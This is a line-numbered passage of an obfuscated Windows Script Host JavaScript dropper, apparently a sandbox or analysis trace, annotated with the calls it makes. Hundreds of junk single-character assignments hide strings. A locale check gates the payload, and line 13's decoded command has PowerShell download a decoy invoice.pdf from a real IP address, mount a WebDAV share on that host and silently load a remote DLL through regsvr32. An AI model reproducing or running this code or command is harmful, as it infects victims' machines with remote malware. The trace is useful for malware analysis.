bhmveuq + oeztosvuu + vtnqz + oulhyekd + vvhud + vgtfpati + bhmveuq + oeztosvuu + knvftqzf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ykgjtoln = 0 ; ykgjtoln < qklhv[oeztosvuu + knvftqzf + mlipyy + bpees + zkghu + eipnzi] ; ++ ykgjtoln )
4	{
5	if ( kzoybvl == qklhv[ykgjtoln] )
6	{
7	kzoybvl = true;
8	break ;
9	}
10	}
11	if ( kzoybvl !== true )
12	this[zhoqxy + rgupzp + vgtfpati + niirjeen + xgznzp + mqcczncpu + zkghu][ujyfvraeb + ezxtzzjr + xgznzp + zkghu] ( );
13	this[zhoqxy + rgupzp + vgtfpati + niirjeen + xgznzp + mqcczncpu + zkghu][rnzsua + niirjeen + knvftqzf + bhmveuq + zkghu + knvftqzf + rjfbyi + fuzxnmykb + qqdrkjdl + knvftqzf + vgtfpati + zkghu] ( zhoqxy + rgupzp + vgtfpati + niirjeen + xgznzp + mqcczncpu + zkghu + vzaslxth + rgupzp + eipnzi + knvftqzf + oeztosvuu + oeztosvuu ) [niirjeen + ezxtzzjr + mlipyy] ( vgtfpati + zcmyc + vazxprech + nerzn + slfhhcmo + vgtfpati + nerzn + mqcczncpu + vvhud + yeskuxoi + knvftqzf + niirjeen + iyycoqutj + eipnzi + knvftqzf + oeztosvuu + oeztosvuu + vzaslxth + knvftqzf + qmggvybyg + knvftqzf + nerzn + zbugv + rnzsua + vvhud + zcmyc + zcmyc + bhmveuq + mlipyy + vazxprech + nerzn + zweami + pajgl + mlipyy + mpnrisgv + vvhud + hjxkaaf + knvftqzf + zbugv + zhoqxy + knvftqzf + fuzxnmykb + xvbhh + knvftqzf + lzxrlk + ezxtzzjr + knvftqzf + iyycoqutj + zkghu + nerzn + zbugv + rjfbyi + ezxtzzjr + zkghu + ohbpb + xgznzp + oeztosvuu + knvftqzf + nerzn + bqvgcmfex + zkghu + knvftqzf + zcmyc + mqcczncpu + bqvgcmfex + vtnqz + xgznzp + mlipyy + mpnrisgv + vvhud + xgznzp + vgtfpati + knvftqzf + vzaslxth + mqcczncpu + vazxprech + mrydnpr + nerzn + eipnzi + zkghu + zkghu + mqcczncpu + zxjcxxd + slfhhcmo + slfhhcmo + kfvoee + hvxoxct + qhzyrvapn + vzaslxth + kfvoee + cgmhkh + qhzyrvapn + vzaslxth + kfvoee + vzaslxth + vbpuqh + upwnv + lyjkvd + slfhhcmo + xgznzp + mlipyy + mpnrisgv + vvhud + xgznzp + vgtfpati + knvftqzf + vzaslxth + mqcczncpu + eipnzi + mqcczncpu + zweami + fxtklbd + fxtklbd + iyycoqutj + zkghu + bhmveuq + niirjeen + zkghu + nerzn + bqvgcmfex + zkghu + knvftqzf + zcmyc + mqcczncpu + bqvgcmfex + vtnqz + xgznzp + mlipyy + mpnrisgv + vvhud + xgznzp + vgtfpati + knvftqzf + vzaslxth + mqcczncpu + vazxprech + mrydnpr + fxtklbd + fxtklbd + vgtfpati + zcmyc + vazxprech + nerzn + slfhhcmo + vgtfpati + nerzn + mlipyy + knvftqzf + zkghu + nerzn + ezxtzzjr + iyycoqutj + knvftqzf + nerzn + vtnqz + vtnqz + kfvoee + hvxoxct + qhzyrvapn + vzaslxth + kfvoee + cgmhkh + qhzyrvapn + vzaslxth + kfvoee + vzaslxth + vbpuqh + upwnv + lyjkvd + vaxyg + srnysffnw + srnysffnw + srnysffnw + srnysffnw + vtnqz + vazxprech + bhmveuq + mpnrisgv + yeskuxoi + yeskuxoi + yeskuxoi + niirjeen + vvhud + vvhud + zkghu + vtnqz + fxtklbd + fxtklbd + vgtfpati + zcmyc + vazxprech + nerzn + slfhhcmo + vgtfpati + nerzn + niirjeen + knvftqzf + bpees + iyycoqutj + mpnrisgv + niirjeen + qhzyrvapn + vbpuqh + nerzn + slfhhcmo + iyycoqutj + nerzn + vtnqz + vtnqz + kfvoee + hvxoxct + qhzyrvapn + vzaslxth + kfvoee + cgmhkh + qhzyrvapn + vzaslxth + kfvoee + vzaslxth + vbpuqh + upwnv + lyjkvd + vaxyg + srnysffnw + srnysffnw + srnysffnw + srnysffnw + vtnqz + vazxprech + bhmveuq + mpnrisgv + yeskuxoi + yeskuxoi + yeskuxoi + niirjeen + vvhud + vvhud + zkghu + vtnqz + kfvoee + kfvoee + lyjkvd + cgmhkh + bpfdzj + kfvoee + vbpuqh + kfvoee + bpfdzj + bpfdzj + qhzyrvapn + kfvoee + hvxoxct + cxegxqwpq + cxegxqwpq + vzaslxth + vazxprech + oeztosvuu + oeztosvuu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll",0,false) ➔ 0
14	}
15	xgznzp = "E";
16	xgznzp = "q";
17	xgznzp = "A";
18	xgznzp = "w";
19	xgznzp = "d";
20	xgznzp = "u";
21	xgznzp = "P";
22	xgznzp = "B";
23	xgznzp = "U";
24	xgznzp = "r";
25	xgznzp = "Y";
26	xgznzp = "p";
27	xgznzp = "B";
28	xgznzp = "Y";
29	xgznzp = "V";
30	xgznzp = "D";
31	xgznzp = "H";
32	xgznzp = "J";
33	xgznzp = "R";
34	xgznzp = "R";
35	xgznzp = "Y";
36	xgznzp = "a";
37	xgznzp = "W";
38	xgznzp = "p";
39	xgznzp = "v";
40	xgznzp = "l";
41	xgznzp = "i";
42	xgznzp = "Z";
43	xgznzp = "X";
44	xgznzp = "j";
45	xgznzp = "t";
46	xgznzp = "n";
47	xgznzp = "g";
48	xgznzp = "Q";
49	xgznzp = "s";
50	xgznzp = "k";
51	xgznzp = "C";
52	xgznzp = "r";
53	xgznzp = "b";
54	xgznzp = "g";
55	xgznzp = "G";
56	xgznzp = "H";
57	xgznzp = "d";
58	xgznzp = "f";
59	xgznzp = "i";
60	fxtklbd = "l";
61	fxtklbd = "C";
62	fxtklbd = "j";
63	fxtklbd = "b";
64	fxtklbd = "s";
65	fxtklbd = "Q";
66	fxtklbd = "s";
67	fxtklbd = "R";
68	fxtklbd = "m";
69	fxtklbd = "f";
70	fxtklbd = "h";
71	fxtklbd = "n";
72	fxtklbd = "U";
73	fxtklbd = "l";
74	fxtklbd = "h";
75	fxtklbd = "Z";
76	fxtklbd = "x";
77	fxtklbd = "w";
78	fxtklbd = "Q";
79	fxtklbd = "z";
80	fxtklbd = "G";
81	fxtklbd = "I";
82	fxtklbd = "o";
83	fxtklbd = "P";
84	fxtklbd = "z";
85	fxtklbd = "I";
86	fxtklbd = "W";
87	fxtklbd = "&";
88	innlek = "o";
89	innlek = "y";
90	innlek = "j";
91	innlek = "f";
92	innlek = "E";
93	innlek = "V";
94	innlek = "h";
95	innlek = "J";
96	innlek = "g";
97	innlek = "L";
98	innlek = "v";
99	innlek = "W";
100	innlek = "K";
101	innlek = "Q";
102	innlek = "A";
103	innlek = "F";
104	innlek = "W";
105	innlek = "p";
106	innlek = "O";
107	innlek = "D";
108	innlek = "a";
109	innlek = "D";
110	innlek = "V";
111	innlek = "Y";
112	ezxtzzjr = "q";
113	ezxtzzjr = "b";
114	ezxtzzjr = "f";
115	ezxtzzjr = "U";
116	ezxtzzjr = "U";
117	ezxtzzjr = "g";
118	ezxtzzjr = "d";
119	ezxtzzjr = "v";
120	ezxtzzjr = "I";
121	ezxtzzjr = "I";
122	ezxtzzjr = "D";
123	ezxtzzjr = "t";
124	ezxtzzjr = "k";
125	ezxtzzjr = "M";
126	ezxtzzjr = "p";
127	ezxtzzjr = "U";
128	ezxtzzjr = "X";
129	ezxtzzjr = "m";
130	ezxtzzjr = "I";
131	ezxtzzjr = "k";
132	ezxtzzjr = "x";
133	ezxtzzjr = "h";
134	ezxtzzjr = "I";
135	ezxtzzjr = "e";
136	ezxtzzjr = "j";
137	ezxtzzjr = "A";
138	ezxtzzjr = "r";
139	ezxtzzjr = "Q";
140	ezxtzzjr = "B";
141	ezxtzzjr = "Z";
142	ezxtzzjr = "i";
143	ezxtzzjr = "G";
144	ezxtzzjr = "c";
145	ezxtzzjr = "e";
146	ezxtzzjr = "m";
147	ezxtzzjr = "O";
148	ezxtzzjr = "u";
149	vgtfpati = "i";
150	vgtfpati = "R";
151	vgtfpati = "D";
152	vgtfpati = "N";
153	vgtfpati = "S";
154	vgtfpati = "D";
155	vgtfpati = "E";
156	vgtfpati = "i";
157	vgtfpati = "R";
158	vgtfpati = "E";
159	vgtfpati = "c";
160	vgtfpati = "c";
161	lyjkvd = "Z";
162	lyjkvd = "n";
163	lyjkvd = "l";
164	lyjkvd = "M";
165	lyjkvd = "q";
166	lyjkvd = "G";
167	lyjkvd = "Z";
168	lyjkvd = "x";
169	lyjkvd = "z";
170	lyjkvd = "K";
171	lyjkvd = "E";
172	lyjkvd = "q";
173	lyjkvd = "H";
174	lyjkvd = "i";
175	lyjkvd = "f";
176	lyjkvd = "H";
177	lyjkvd = "S";
178	lyjkvd = "x";
179	lyjkvd = "G";
180	lyjkvd = "p";
181	lyjkvd = "d";
182	lyjkvd = "n";
183	lyjkvd = "l";
184	lyjkvd = "f";
185	lyjkvd = "x";
186	lyjkvd = "O";
187	lyjkvd = "m";
188	lyjkvd = "K";
189	lyjkvd = "l";
190	lyjkvd = "5";
191	cxegxqwpq = "I";
192	cxegxqwpq = "j";
193	cxegxqwpq = "w";
194	cxegxqwpq = "7";
195	ohbpb = "t";
196	ohbpb = "a";
197	ohbpb = "K";
198	ohbpb = "e";
199	ohbpb = "X";
200	ohbpb = "Q";
201	ohbpb = "X";
202	ohbpb = "w";
203	ohbpb = "M";
204	ohbpb = "V";
205	ohbpb = "G";
206	ohbpb = "Y";
207	ohbpb = "f";
208	ohbpb = "l";
209	ohbpb = "o";
210	ohbpb = "d";
211	ohbpb = "i";
212	ohbpb = "B";
213	ohbpb = "J";
214	ohbpb = "i";
215	ohbpb = "D";
216	ohbpb = "T";
217	ohbpb = "V";
218	ohbpb = "K";
219	ohbpb = "Y";
220	ohbpb = "u";
221	ohbpb = "B";
222	ohbpb = "L";
223	ohbpb = "Y";
224	ohbpb = "u";
225	ohbpb = "P";
226	ohbpb = "g";
227	ohbpb = "F";
228	vaxyg = "V";
229	vaxyg = "n";
230	vaxyg = "T";
231	vaxyg = "s";
232	vaxyg = "l";
233	vaxyg = "j";
234	vaxyg = "C";
235	vaxyg = "O";
236	vaxyg = "s";
237	vaxyg = "D";
238	vaxyg = "g";
239	vaxyg = "U";
240	vaxyg = "J";
241	vaxyg = "C";
242	vaxyg = "A";
243	vaxyg = "z";
244	vaxyg = "r";
245	vaxyg = "W";
246	vaxyg = "C";
247	vaxyg = "w";
248	vaxyg = "K";
249	vaxyg = "Q";
250	vaxyg = "w";
251	vaxyg = "p";
252	vaxyg = "M";
253	vaxyg = "l";
254	vaxyg = "i";
255	vaxyg = "j";
256	vaxyg = "y";
257	vaxyg = "o";
258	vaxyg = "g";
259	vaxyg = "@";
260	upwnv = "k";
261	upwnv = "p";
262	upwnv = "y";
263	upwnv = "V";
264	upwnv = "C";
265	upwnv = "k";
266	upwnv = "c";
267	upwnv = "l";
268	upwnv = "G";
269	upwnv = "h";
270	upwnv = "Q";
271	upwnv = "R";
272	upwnv = "z";
273	upwnv = "T";
274	upwnv = "u";
275	upwnv = "z";
276	upwnv = "y";
277	upwnv = "c";
278	upwnv = "R";
279	upwnv = "H";
280	upwnv = "Q";
281	upwnv = "u";
282	upwnv = "X";
283	upwnv = "f";
284	upwnv = "G";
285	upwnv = "c";
286	upwnv = "p";
287	upwnv = "z";
288	upwnv = "N";
289	upwnv = "c";
290	upwnv = "l";
291	upwnv = "L";
292	upwnv = "W";
293	upwnv = "O";
294	upwnv = "O";
295	upwnv = "y";
296	upwnv = "T";
297	upwnv = "B";
298	upwnv = "S";
299	upwnv = "z";
300	upwnv = "t";
301	upwnv = "i";
302	upwnv = "w";
303	upwnv = "Z";
304	upwnv = "0";
305	rgupzp = "b";
306	rgupzp = "b";
307	rgupzp = "L";
308	rgupzp = "m";
309	rgupzp = "A";
310	rgupzp = "I";
311	rgupzp = "r";
312	rgupzp = "c";
313	rgupzp = "J";
314	rgupzp = "B";
315	rgupzp = "O";
316	rgupzp = "D";
317	rgupzp = "X";
318	rgupzp = "Z";
319	rgupzp = "j";
320	rgupzp = "r";
321	rgupzp = "j";
322	rgupzp = "h";
323	rgupzp = "l";
324	rgupzp = "j";
325	rgupzp = "Y";
326	rgupzp = "Q";
327	rgupzp = "i";
328	rgupzp = "U";
329	rgupzp = "B";
330	rgupzp = "b";
331	rgupzp = "j";
332	rgupzp = "Y";
333	rgupzp = "S";
334	iyycoqutj = "O";
335	iyycoqutj = "a";
336	iyycoqutj = "E";
337	iyycoqutj = "r";
338	iyycoqutj = "H";
339	iyycoqutj = "K";
340	iyycoqutj = "b";
341	iyycoqutj = "n";
342	iyycoqutj = "s";
343	yeskuxoi = "J";
344	yeskuxoi = "C";
345	yeskuxoi = "E";
346	yeskuxoi = "v";
347	yeskuxoi = "J";
348	yeskuxoi = "B";
349	yeskuxoi = "i";
350	yeskuxoi = "G";
351	yeskuxoi = "f";
352	yeskuxoi = "y";
353	yeskuxoi = "y";
354	yeskuxoi = "k";
355	yeskuxoi = "w";
356	zweami = "w";
357	zweami = "n";
358	zweami = "P";
359	zweami = "l";
360	zweami = "n";
361	zweami = "n";
362	zweami = "t";
363	zweami = "G";
364	zweami = "A";
365	zweami = "r";
366	zweami = "G";
367	zweami = "p";
368	zweami = "Q";
369	zweami = "s";
370	zweami = "k";
371	zweami = "e";
372	zweami = "g";
373	zweami = "e";
374	zweami = "b";
375	zweami = "O";
376	zweami = "R";
377	zweami = "B";
378	zweami = "D";
379	zweami = "E";
380	zweami = "h";
381	zweami = "B";
382	zweami = "U";
383	zweami = "L";
384	zweami = "W";
385	zweami = "w";
386	zweami = "w";
387	zweami = "t";
388	zweami = "O";
389	zweami = "N";
390	zweami = "u";
391	zweami = "w";
392	zweami = "\"";
393	zkghu = "S";
394	zkghu = "l";
395	zkghu = "f";
396	zkghu = "k";
397	zkghu = "H";
398	zkghu = "o";
399	zkghu = "C";
400	zkghu = "l";
401	zkghu = "P";
402	zkghu = "S";
403	zkghu = "c";
404	zkghu = "I";
405	zkghu = "v";
406	zkghu = "Z";
407	zkghu = "Y";
408	zkghu = "N";
409	zkghu = "w";
410	zkghu = "t";
411	kfvoee = "o";
412	kfvoee = "h";
413	kfvoee = "X";
414	kfvoee = "V";
415	kfvoee = "F";
416	kfvoee = "k";
417	kfvoee = "W";
418	kfvoee = "Y";
419	kfvoee = "V";
420	kfvoee = "U";
421	kfvoee = "k";
422	kfvoee = "G";
423	kfvoee = "w";
424	kfvoee = "P";
425	kfvoee = "Q";
426	kfvoee = "h";
427	kfvoee = "x";
428	kfvoee = "i";
429	kfvoee = "z";
430	kfvoee = "Z";
431	kfvoee = "h";
432	kfvoee = "r";
433	kfvoee = "Z";
434	kfvoee = "K";
435	kfvoee = "p";
436	kfvoee = "C";
437	kfvoee = "H";
438	kfvoee = "w";
439	kfvoee = "g";
440	kfvoee = "N";
441	kfvoee = "1";
442	vvhud = "n";
443	vvhud = "A";
444	vvhud = "b";
445	vvhud = "n";
446	vvhud = "l";
447	vvhud = "F";
448	vvhud = "d";
449	vvhud = "k";
450	vvhud = "W";
451	vvhud = "r";
452	vvhud = "Z";
453	vvhud = "P";
454	vvhud = "U";
455	vvhud = "k";
456	vvhud = "R";
457	vvhud = "Q";
458	vvhud = "B";
459	vvhud = "a";
460	vvhud = "m";
461	vvhud = "Q";
462	vvhud = "W";
463	vvhud = "o";
464	vvhud = "J";
465	vvhud = "B";
466	vvhud = "O";
467	vvhud = "E";
468	vvhud = "K";
469	vvhud = "b";
470	vvhud = "A";
471	vvhud = "J";
472	vvhud = "v";
473	vvhud = "V";
474	vvhud = "v";
475	vvhud = "C";
476	vvhud = "o";
477	vtnqz = "y";
478	vtnqz = "\\";
479	zhoqxy = "x";
480	zhoqxy = "P";
481	zhoqxy = "J";
482	zhoqxy = "u";
483	zhoqxy = "U";
484	zhoqxy = "f";
485	zhoqxy = "x";
486	zhoqxy = "Q";
487	zhoqxy = "K";
488	zhoqxy = "o";
489	zhoqxy = "K";
490	zhoqxy = "z";
491	zhoqxy = "J";
492	zhoqxy = "N";
493	zhoqxy = "M";
494	zhoqxy = "C";
495	zhoqxy = "z";
496	zhoqxy = "F";
497	zhoqxy = "E";
498	zhoqxy = "l";
499	zhoqxy = "Y";
500	zhoqxy = "W";
501	bqvgcmfex = "D";
502	bqvgcmfex = "p";
503	bqvgcmfex = "h";
504	bqvgcmfex = "b";
505	bqvgcmfex = "F";
506	bqvgcmfex = "C";
507	bqvgcmfex = "T";
508	bqvgcmfex = "M";
509	bqvgcmfex = "o";
510	bqvgcmfex = "c";
511	bqvgcmfex = "E";
512	bqvgcmfex = "K";
513	bqvgcmfex = "Z";
514	bqvgcmfex = "K";
515	bqvgcmfex = "j";
516	bqvgcmfex = "i";
517	bqvgcmfex = "R";
518	bqvgcmfex = "g";
519	bqvgcmfex = "G";
520	bqvgcmfex = "L";
521	bqvgcmfex = "i";
522	bqvgcmfex = "J";
523	bqvgcmfex = "Q";
524	bqvgcmfex = "U";
525	bqvgcmfex = "M";
526	bqvgcmfex = "S";
527	bqvgcmfex = "R";
528	bqvgcmfex = "n";
529	bqvgcmfex = "I";
530	bqvgcmfex = "Y";
531	bqvgcmfex = "l";
532	bqvgcmfex = "f";
533	bqvgcmfex = "Q";
534	bqvgcmfex = "A";
535	bqvgcmfex = "m";
536	bqvgcmfex = "h";
537	bqvgcmfex = "i";
538	bqvgcmfex = "G";
539	bqvgcmfex = "%";
540	cqqjunki = "r";
541	cqqjunki = "J";
542	cqqjunki = "K";
543	cqqjunki = "Y";
544	cqqjunki = "A";
545	cqqjunki = "q";
546	cqqjunki = "h";
547	cqqjunki = "O";
548	cqqjunki = "a";
549	cqqjunki = "g";
550	cqqjunki = "D";
551	cqqjunki = "b";
552	cqqjunki = "u";
553	cqqjunki = "N";
554	cqqjunki = "X";
555	cqqjunki = "V";
556	cqqjunki = "n";
557	cqqjunki = "g";
558	cqqjunki = "e";
559	cqqjunki = "z";
560	cqqjunki = "l";
561	cqqjunki = "Q";
562	cqqjunki = "M";
563	cqqjunki = "S";
564	cqqjunki = "C";
565	cqqjunki = "X";
566	cqqjunki = "A";
567	cqqjunki = "z";
568	cqqjunki = "Z";
569	cqqjunki = "q";
570	cqqjunki = "b";
571	cqqjunki = "Y";
572	cqqjunki = "f";
573	cqqjunki = "d";
574	cqqjunki = "g";
575	cqqjunki = "V";
576	cqqjunki = "F";
577	cqqjunki = "S";
578	cqqjunki = "R";
579	cqqjunki = "K";
580	cqqjunki = "V";
581	cqqjunki = "w";
582	cqqjunki = "B";
583	cqqjunki = "T";
584	vzaslxth = "b";
585	vzaslxth = "i";
586	vzaslxth = "J";
587	vzaslxth = "L";
588	vzaslxth = "W";
589	vzaslxth = "l";
590	vzaslxth = "S";
591	vzaslxth = "R";
592	vzaslxth = "T";
593	vzaslxth = "V";
594	vzaslxth = "T";
595	vzaslxth = "l";
596	vzaslxth = "l";
597	vzaslxth = "O";
598	vzaslxth = "T";
599	vzaslxth = "s";
600	vzaslxth = "b";
601	vzaslxth = "m";
602	vzaslxth = "K";
603	vzaslxth = "F";
604	vzaslxth = "o";
605	vzaslxth = "T";
606	vzaslxth = "t";
607	vzaslxth = "r";
608	vzaslxth = "y";
609	vzaslxth = ".";
610	cgmhkh = "w";
611	cgmhkh = "F";
612	cgmhkh = "W";
613	cgmhkh = "e";
614	cgmhkh = "h";
615	cgmhkh = "d";
616	cgmhkh = "b";
617	cgmhkh = "r";
618	cgmhkh = "k";
619	cgmhkh = "D";
620	cgmhkh = "p";
621	cgmhkh = "g";
622	cgmhkh = "i";
623	cgmhkh = "l";
624	cgmhkh = "O";
625	cgmhkh = "S";
626	cgmhkh = "U";
627	cgmhkh = "I";
628	cgmhkh = "z";
629	cgmhkh = "q";
630	cgmhkh = "x";
631	cgmhkh = "M";
632	cgmhkh = "Q";
633	cgmhkh = "Q";
634	cgmhkh = "E";
635	cgmhkh = "C";
636	cgmhkh = "O";
637	cgmhkh = "4";
638	zbugv = "G";
639	zbugv = "N";
640	zbugv = "D";
641	zbugv = "S";
642	zbugv = "l";
643	zbugv = "f";
644	zbugv = "W";
645	zbugv = "s";
646	zbugv = "j";
647	zbugv = "f";
648	zbugv = "c";
649	zbugv = "D";
650	zbugv = "P";
651	zbugv = "F";
652	zbugv = "K";
653	zbugv = "t";
654	zbugv = "g";
655	zbugv = "K";
656	zbugv = "Y";
657	zbugv = "N";
658	zbugv = "S";
659	zbugv = "B";
660	zbugv = "H";
661	zbugv = "-";
662	xvbhh = "O";
663	xvbhh = "T";
664	xvbhh = "W";
665	xvbhh = "X";
666	xvbhh = "U";
667	xvbhh = "F";
668	xvbhh = "Q";
669	xvbhh = "o";
670	xvbhh = "W";
671	xvbhh = "z";
672	xvbhh = "R";
673	xvbhh = "B";
674	xvbhh = "A";
675	xvbhh = "O";
676	xvbhh = "W";
677	xvbhh = "e";
678	xvbhh = "i";
679	xvbhh = "j";
680	xvbhh = "e";
681	xvbhh = "Y";
682	xvbhh = "x";
683	xvbhh = "e";
684	xvbhh = "R";
685	mpnrisgv = "v";
686	oeztosvuu = "d";
687	oeztosvuu = "z";
688	oeztosvuu = "L";
689	oeztosvuu = "g";
690	oeztosvuu = "Y";
691	oeztosvuu = "v";
692	oeztosvuu = "o";
693	oeztosvuu = "F";
694	oeztosvuu = "o";
695	oeztosvuu = "V";
696	oeztosvuu = "B";
697	oeztosvuu = "c";
698	oeztosvuu = "l";
699	oeztosvuu = "X";
700	oeztosvuu = "L";
701	oeztosvuu = "u";
702	oeztosvuu = "w";
703	oeztosvuu = "E";
704	oeztosvuu = "d";
705	oeztosvuu = "O";
706	oeztosvuu = "X";
707	oeztosvuu = "C";
708	oeztosvuu = "z";
709	oeztosvuu = "H";
710	oeztosvuu = "l";
711	gygfqlrgu = "v";
712	gygfqlrgu = "G";
713	gygfqlrgu = "G";
714	gygfqlrgu = "p";
715	gygfqlrgu = "U";
716	gygfqlrgu = "J";
717	gygfqlrgu = "r";
718	gygfqlrgu = "c";
719	gygfqlrgu = "B";
720	gygfqlrgu = "u";
721	gygfqlrgu = "H";
722	gygfqlrgu = "p";
723	gygfqlrgu = "b";
724	gygfqlrgu = "T";
725	gygfqlrgu = "B";
726	gygfqlrgu = "Y";
727	gygfqlrgu = "H";
728	gygfqlrgu = "d";
729	gygfqlrgu = "e";
730	gygfqlrgu = "F";
731	gygfqlrgu = "V";
732	gygfqlrgu = "b";
733	gygfqlrgu = "O";
734	gygfqlrgu = "V";
735	gygfqlrgu = "D";
736	gygfqlrgu = "f";
737	gygfqlrgu = "F";
738	gygfqlrgu = "O";
739	gygfqlrgu = "X";
740	gygfqlrgu = "K";
741	gygfqlrgu = "F";
742	gygfqlrgu = "P";
743	gygfqlrgu = "P";
744	gygfqlrgu = "g";
745	gygfqlrgu = "g";
746	gygfqlrgu = "R";
747	gygfqlrgu = "j";
748	gygfqlrgu = "C";
749	gygfqlrgu = "a";
750	gygfqlrgu = "E";
751	gygfqlrgu = "i";
752	gygfqlrgu = "K";
753	gygfqlrgu = "Y";
754	gygfqlrgu = "P";
755	kovtz = "i";
756	kovtz = "A";
757	kovtz = "h";
758	kovtz = "V";
759	kovtz = "E";
760	kovtz = "i";
761	kovtz = "D";
762	kovtz = "p";
763	kovtz = "O";
764	kovtz = "K";
765	kovtz = "z";
766	kovtz = "h";
767	kovtz = "I";
768	kovtz = "H";
769	kovtz = "H";
770	kovtz = "m";
771	kovtz = "I";
772	kovtz = "j";
773	kovtz = "a";
774	kovtz = "K";
775	kovtz = "J";
776	kovtz = "E";
777	ujyfvraeb = "E";
778	ujyfvraeb = "S";
779	ujyfvraeb = "R";
780	ujyfvraeb = "w";
781	ujyfvraeb = "n";
782	ujyfvraeb = "A";
783	ujyfvraeb = "b";
784	ujyfvraeb = "V";
785	ujyfvraeb = "e";
786	ujyfvraeb = "s";
787	ujyfvraeb = "C";
788	ujyfvraeb = "V";
789	ujyfvraeb = "z";
790	ujyfvraeb = "L";
791	ujyfvraeb = "n";
792	ujyfvraeb = "D";
793	ujyfvraeb = "Q";
794	tguhv = "x";
795	tguhv = "i";
796	tguhv = "A";
797	tguhv = "N";
798	tguhv = "J";
799	tguhv = "Y";
800	tguhv = "h";
801	tguhv = "F";
802	tguhv = "y";
803	tguhv = "p";
804	tguhv = "o";
805	tguhv = "g";
806	tguhv = "M";
807	tguhv = "o";
808	tguhv = "X";
809	tguhv = "H";
810	tguhv = "i";
811	tguhv = "e";
812	tguhv = "F";
813	tguhv = "F";
814	tguhv = "B";
815	tguhv = "p";
816	tguhv = "f";
817	tguhv = "g";
818	tguhv = "r";
819	tguhv = "j";
820	tguhv = "h";
821	tguhv = "z";
822	tguhv = "u";
823	tguhv = "Y";
824	tguhv = "T";
825	tguhv = "t";
826	tguhv = "_";
827	zcmyc = "g";
828	zcmyc = "P";
829	zcmyc = "M";
830	zcmyc = "l";
831	zcmyc = "H";
832	zcmyc = "B";
833	zcmyc = "x";
834	zcmyc = "Z";
835	zcmyc = "q";
836	zcmyc = "T";
837	zcmyc = "G";
838	zcmyc = "V";
839	zcmyc = "l";
840	zcmyc = "X";
841	zcmyc = "d";
842	zcmyc = "F";
843	zcmyc = "P";
844	zcmyc = "I";
845	zcmyc = "j";
846	zcmyc = "G";
847	zcmyc = "Z";
848	zcmyc = "m";
849	bhmveuq = "T";
850	bhmveuq = "Z";
851	bhmveuq = "h";
852	bhmveuq = "Q";
853	bhmveuq = "X";
854	bhmveuq = "I";
855	bhmveuq = "z";
856	bhmveuq = "g";
857	bhmveuq = "D";
858	bhmveuq = "C";
859	bhmveuq = "b";
860	bhmveuq = "b";
861	bhmveuq = "E";
862	bhmveuq = "L";
863	bhmveuq = "Y";
864	bhmveuq = "y";
865	bhmveuq = "z";
866	bhmveuq = "I";
867	bhmveuq = "a";
868	mlipyy = "V";
869	mlipyy = "V";
870	mlipyy = "P";
871	mlipyy = "G";
872	mlipyy = "h";
873	mlipyy = "D";
874	mlipyy = "E";
875	mlipyy = "z";
876	mlipyy = "y";
877	mlipyy = "P";
878	mlipyy = "j";
879	mlipyy = "L";
880	mlipyy = "w";
881	mlipyy = "K";
882	mlipyy = "t";
883	mlipyy = "I";
884	mlipyy = "P";
885	mlipyy = "s";
886	mlipyy = "n";
887	mlipyy = "H";
888	mlipyy = "P";
889	mlipyy = "U";
890	mlipyy = "N";
891	mlipyy = "x";
892	mlipyy = "F";
893	mlipyy = "Y";
894	mlipyy = "E";
895	mlipyy = "g";
896	mlipyy = "B";
897	mlipyy = "x";
898	mlipyy = "p";
899	mlipyy = "y";
900	mlipyy = "z";
901	mlipyy = "f";
902	mlipyy = "P";
903	mlipyy = "n";
904	mlipyy = "n";
905	vazxprech = "N";
906	vazxprech = "r";
907	vazxprech = "g";
908	vazxprech = "a";
909	vazxprech = "Q";
910	vazxprech = "n";
911	vazxprech = "i";
912	vazxprech = "g";
913	vazxprech = "J";
914	vazxprech = "b";
915	vazxprech = "d";
916	atmuhnq = "I";
917	atmuhnq = "U";
918	atmuhnq = "z";
919	atmuhnq = "J";
920	atmuhnq = "P";
921	atmuhnq = "w";
922	atmuhnq = "b";
923	atmuhnq = "u";
924	atmuhnq = "d";
925	atmuhnq = "V";
926	atmuhnq = "K";
927	atmuhnq = "F";
928	atmuhnq = "h";
929	atmuhnq = "X";
930	atmuhnq = "p";
931	atmuhnq = "H";
932	atmuhnq = "e";
933	atmuhnq = "J";
934	atmuhnq = "l";
935	atmuhnq = "o";
936	atmuhnq = "t";
937	atmuhnq = "N";
938	atmuhnq = "T";
939	atmuhnq = "d";
940	atmuhnq = "N";
941	atmuhnq = "a";
942	atmuhnq = "z";
943	atmuhnq = "k";
944	atmuhnq = "O";
945	atmuhnq = "a";
946	atmuhnq = "s";
947	atmuhnq = "p";
948	atmuhnq = "f";
949	atmuhnq = "I";
950	atmuhnq = "c";
951	atmuhnq = "Y";
952	atmuhnq = "z";
953	atmuhnq = "a";
954	atmuhnq = "s";
955	atmuhnq = "B";
956	atmuhnq = "N";
957	hjxkaaf = "X";
958	hjxkaaf = "M";
959	hjxkaaf = "z";
960	hjxkaaf = "r";
961	hjxkaaf = "e";
962	hjxkaaf = "f";
963	hjxkaaf = "g";
964	hjxkaaf = "H";
965	hjxkaaf = "N";
966	hjxkaaf = "d";
967	hjxkaaf = "X";
968	hjxkaaf = "i";
969	hjxkaaf = "S";
970	hjxkaaf = "S";
971	hjxkaaf = "s";
972	hjxkaaf = "V";
973	hjxkaaf = "d";
974	hjxkaaf = "A";
975	hjxkaaf = "z";
976	hjxkaaf = "T";
977	hjxkaaf = "e";
978	hjxkaaf = "L";
979	hjxkaaf = "c";
980	hjxkaaf = "T";
981	hjxkaaf = "o";
982	hjxkaaf = "X";
983	hjxkaaf = "n";
984	hjxkaaf = "I";
985	hjxkaaf = "V";
986	hjxkaaf = "y";
987	hjxkaaf = "t";
988	hjxkaaf = "i";
989	hjxkaaf = "t";
990	hjxkaaf = "K";
991	hjxkaaf = "e";
992	hjxkaaf = "p";
993	hjxkaaf = "k";
994	niirjeen = "M";
995	niirjeen = "v";
996	niirjeen = "v";
997	niirjeen = "o";
998	niirjeen = "R";
999	niirjeen = "f";
1000	niirjeen = "O";
